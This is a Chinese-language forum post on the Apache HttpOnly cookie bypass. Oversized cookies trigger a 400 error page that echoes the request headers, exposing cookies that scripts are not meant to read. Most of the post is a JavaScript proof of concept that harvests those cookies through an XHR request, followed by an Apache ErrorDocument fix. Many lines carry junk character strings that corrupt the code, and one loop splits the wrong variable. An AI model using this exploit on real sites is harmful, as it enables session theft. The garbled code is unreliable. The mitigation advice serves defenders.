Apache HttpOnly Cookie XSS跨站漏洞

admin

很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题，一般都采用给cookie加上httponly的属性，来禁止直接使用js得到用户的cookie，从而降低xss的危害，而这个问题刚好可以用来绕过cookie的这个httponly的属性。

8 F6 c4 S: ]+ N用chrome打开一个站点，F12打开开发者工具，找到console输入如下代码并回车:


// http://www.exploit-db.com/exploits/18442/
4 F' A. }4 j1 l# B# {0 Mfunction setCookies (good) {
$ y) R& I8 ?4 ~8 t5 n, Y* r6 v// Construct string for cookie value
var str = "";
for (var i=0; i< 819; i++) {
) m& l! a8 M; a% v8 D# h7 P0 ^# g2 Mstr += "x";
}
/ E+ E' ~$ z2 h/ m// Set cookies
( |7 d1 x0 C# S9 ?" g# u% {$ Qfor (i = 0; i < 10; i++) {
$ ]) A+ d" w* G// Expire evil cookie
if (good) {
var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
}
// Set evil cookie
1 b( X% r, p* m! F( f8 belse {
: E+ R" M6 t, uvar cookie = "xss"+i+"="+str+";path=/";
* h1 ~4 T  e+ d5 Q3 A1 p}
document.cookie = cookie;
}
}
function makeRequest() {
6 f9 V: B# `% k% usetCookies();
function parseCookies () {
/ Q- M$ ^7 n: V# j6 ~/ K, t. Uvar cookie_dict = {};
// Only react on 400 status
9 |$ G. I2 T7 g' J, W/ F+ M! ~- Qif (xhr.readyState === 4 && xhr.status === 400) {
// Replace newlines and match <pre> content
. R( N& T7 ]+ ]4 T7 m6 e& T3 k' gvar content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
" Z* e" A$ d8 y/ v) Gif (content.length) {
& X# ~: d# a1 e# t// Remove Cookie: prefix
7 [$ _. ]5 x2 U/ p* Z7 y5 hcontent = content[1].replace("Cookie: ", "");
var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
// Add cookies to object
  z% f% {$ U. C3 Kfor (var i=0; i<cookies.length; i++) {
: m+ z( @* X* U, {/ Cvar s_c = cookies.split('=',2);
cookie_dict[s_c[0]] = s_c[1];
}
1 u( |0 ^) s/ H3 H+ h& L4 z7 Z}
. m$ `3 G; |6 N; F" X// Unset malicious cookies
( C4 d8 ~. S" `6 L3 `$ esetCookies(true);
alert(JSON.stringify(cookie_dict));
  e' w: a* D; Z}
}
" w: R. z" M$ b* [' I' V& v+ H// Make XHR request
) D# A, {; j5 z. l. g; dvar xhr = new XMLHttpRequest();
& I1 \7 J) U" y3 b: O. v, Pxhr.onreadystatechange = parseCookies;
2 K" i) ^. x; y9 g. Qxhr.open("GET", "/", true);
xhr.send(null);
}
makeRequest();

* z3 P6 ]0 ^8 Z. F2 ?你就能看见华丽丽的400错误包含着cookie信息。
( c* g/ `6 B& ^1 z7 i* a
2 R: H( W, d+ d4 W下载地址：https://gist.github.com/pilate/1955a1c28324d4724b7b/download#
" u+ J- j' h$ ^
" s+ |& P7 s8 \  b. F. v- j: L修复方案：
  \& ]2 [1 U: }& I- y) V
% E- a1 }6 S( q5 N5 |; `Apache官方提供4种错误处理方式（http://httpd.apache.org/docs/2.0/mod/core.html#errordocument），如下
' o. a5 ?/ e# q, p- q( X3 |- ?
In the event of a problem or error, Apachecan be configured to do one of four things,

1. output asimple hardcoded error message输出一个简单生硬的错误代码信息
2. output acustomized message输出一段信息
/ S4 v' v, }1 A2 M( l; M3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面
4. redirect to an external URL to handle theproblem/error转向一个外部URL
4 L$ e  W) R& b; E& @5 V0 @
经测试，对于400错误只有方法2有效，返回包不会再包含cookie内容
2 f1 [: q7 j: N# n
% B) N* R8 l- j. Y: tApache配置：
, N8 b  M2 J0 f+ v' r
$ G$ d5 [) c2 b5 E4 aErrorDocument400 " security test"
. M1 @* L! P, ~% O4 i
" D! `2 Z: o2 v6 W8 a0 y当然，升级apache到最新也可：）。

参考：http://httpd.apache.org/security/vulnerabilities_22.html
  |1 b! H0 X  n, e